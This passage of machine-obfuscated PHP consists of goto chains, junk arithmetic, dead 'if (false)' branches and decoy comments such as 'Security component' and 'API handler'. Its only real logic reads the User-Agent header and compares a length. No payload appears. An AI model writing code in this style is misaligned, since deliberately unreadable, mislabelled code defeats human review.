/* Core module */ goto qqRYYQCR; qqRYYQCR: /* API handler */ $iCjD65Pi = 694 + 10; $Pe9zuJ4r = $iCjD65Pi * 1; goto eixdQ5i3; eixdQ5i3: $FbaGmw5w = strlen($iCjD65Pi); goto pJ378JiS; pJ378JiS: goto oWGIuZW5; oWGIuZW5: if (false) { echo 'This is a dead end'; } goto a7L0Pu2ki; a7L0Pu2ki: goto OqHJOeh5; OqHJOeh5: $WWDcP6ib = 767 + 16; $iX1geSuk = $WWDcP6ib * 5; goto EQcwUU9K; EQcwUU9K: $Pe9zuJ4r = 772 + 50; $n7sJ6WnP = $Pe9zuJ4r * 1; goto wnNvbYTo; wnNvbYTo: $WWDcP6ib = 316 + 26; $iX1geSuk = $WWDcP6ib * 2; goto uEvk3swO; uEvk3swO: /* System file */ $jIP39ari = 964 + 29; $WWDcP6ib = $jIP39ari * 3; goto ROVTSRRq; ROVTSRRq: /* Dwxv9NqnaAXlxmPfgz0E */ goto UPh0iBK_; UPh0iBK_: /* URXBdKW6qY */ if (false) { echo 'This is a dead end'; } goto i97xfiXB; i97xfiXB: if (false) { echo 'This is a dead end'; } goto aseqz8Fu; aseqz8Fu: goto Y89Bujim; Y89Bujim: /* API handler */ if (false) { echo 'This is a dead end'; } goto HkklKTLL; HkklKTLL: goto a1kXm3C0c; a1kXm3C0c: // 3Z6Ox6pr goto g7IJTvTZ; g7IJTvTZ: goto DDJeQRcH; DDJeQRcH: return $FbaGmw5w > 10; } private function VqWkrbwL6n() { goto lR9HV3vF; lR9HV3vF: goto S9kEO5kx; S9kEO5kx: $a29IFo9lZ = 655 + 31; $a6EHyDbxg = $a29IFo9lZ * 4; goto ClD3LPfl; ClD3LPfl: // Yi9_JvdZJpFR $BqYDw4sr = 646 + 32; $iCjD65Pi = $BqYDw4sr * 1; goto myjOXYkr; myjOXYkr: /* WwCXtnphiRPssBKHyiyJ */ if (false) { echo 'This is a dead end'; } goto QgFhgUj4; QgFhgUj4: $XsucffsH = 939 + 29; $FbaGmw5w = $XsucffsH * 5; goto XCFma3AO; XCFma3AO: goto LZLhxy0c; LZLhxy0c: $a6EHyDbxg = 918 + 31; $XsucffsH = $a6EHyDbxg * 4; goto b7CfM9Wv; b7CfM9Wv: $n7sJ6WnP = 858 + 35; $bZa4iOd6 = $n7sJ6WnP * 4; if (false) { echo 'This is a dead end'; } goto a9_A2gMuK; a9_A2gMuK: /* GYbMmlcGnG */ if (false) { echo 'This is a dead end'; } goto cNTfeAgW; cNTfeAgW: /* 6Gg_BRQ5ji */ if (false) { echo 'This is a dead end'; } goto a7fGpfEqv; a7fGpfEqv: /* Core module */ goto Qvso36ZU; Qvso36ZU: // qB8k6GsY $a29IFo9lZ = 112 + 23; $Pe9zuJ4r = $a29IFo9lZ * 5; goto BFDd5_wA; BFDd5_wA: goto W6fbyRJx; W6fbyRJx: /* API handler */ $Pe9zuJ4r = 127 + 17; $B9ma2fmF = $Pe9zuJ4r * 4; goto SIxqJNaF; SIxqJNaF: goto bg0wRqou; bg0wRqou: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto w7yIuhm1; w7yIuhm1: $a29IFo9lZ = 766 + 20; $iX1geSuk = $a29IFo9lZ * 4; goto a3eXD_XL4; a3eXD_XL4: goto oCJrwVoZ; oCJrwVoZ: $BqYDw4sr = 942 + 15; $XsucffsH = $BqYDw4sr * 3; goto zRnY8Cjy; zRnY8Cjy: if (false) { echo 'This is a dead end'; } goto W_xSi8Vx; W_xSi8Vx: if (false) { echo 'This is a dead end'; } goto H0YUPpd9; H0YUPpd9: /* Security component */ goto OVd38Goe; OVd38Goe: /* API handler */ $bZa4iOd6 = 454 + 35; $XsucffsH = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto BKc4PZuQ; BKc4PZuQ: /* Core module */ goto a7ZEimvfl; a7ZEimvfl: /* pgDAnrDMes */ if (false) { echo 'This is a dead end'; } goto cE18sMPR; cE18sMPR: /* aJInHP8e3c */ goto p99MZBfn; p99MZBfn: goto NkTv4qe0; NkTv4qe0: /* System file */ $a29IFo9lZ = 556 + 14; $XsucffsH = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto P5TBeEsd; P5TBeEsd: /* bhiC_atWuHCdb2toWZNX */ goto RbblcxWR; RbblcxWR: /* Security component */ goto StF2kXd0; StF2kXd0: /* Core module */ goto Ge6qVIlJ; Ge6qVIlJ: $Pe9zuJ4r = strlen($n7sJ6WnP); goto W15_0CaB; W15_0CaB: /* Core module */ goto a6o50BQkb; a6o50BQkb: // iAaEch06 goto vvmkPQQS; vvmkPQQS: /* 6fu6rTuuWH */ if (false) { echo 'This is a dead end'; } goto prCqmxzU; prCqmxzU: /* 5jCZ0yecnJ */ goto Wf0zaJUY; Wf0zaJUY: /* API handler */ goto a44ICrAJ7; a44ICrAJ7: $iCjD65Pi = 552 + 40; $iX1geSuk = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto IUuy5Fz3; IUuy5Fz3: /* uIvybHhlzH */ $WWDcP6ib = 658 + 48; $FbaGmw5w = $WWDcP6ib * 5; goto N_ymOyNM; N_ymOyNM: /* API handler */ goto a2IPhiYF8; a2IPhiYF8: /* O64SSCwE9IhS9oiD3dZg */ goto QqIT_g4N; QqIT_g4N: // iPzjxzcu5zezkszA goto htqRtvjP; htqRtvjP: $iX1geSuk = 991 + 42; $a29IFo9lZ = $iX1geSuk * 3; goto k4EWrFjY; k4EWrFjY: $XsucffsH = 242 + 47; $Pe9zuJ4r = $XsucffsH * 1; goto qAEZ027m; qAEZ027m: goto a4ouqAsK7; a4ouqAsK7: goto QyLxw7cW; QyLxw7cW: $a6EHyDbxg = 206 + 21; $n7sJ6WnP = $a6EHyDbxg * 1; goto p7RsAnZM; p7RsAnZM: return $Pe9zuJ4r > 10; } }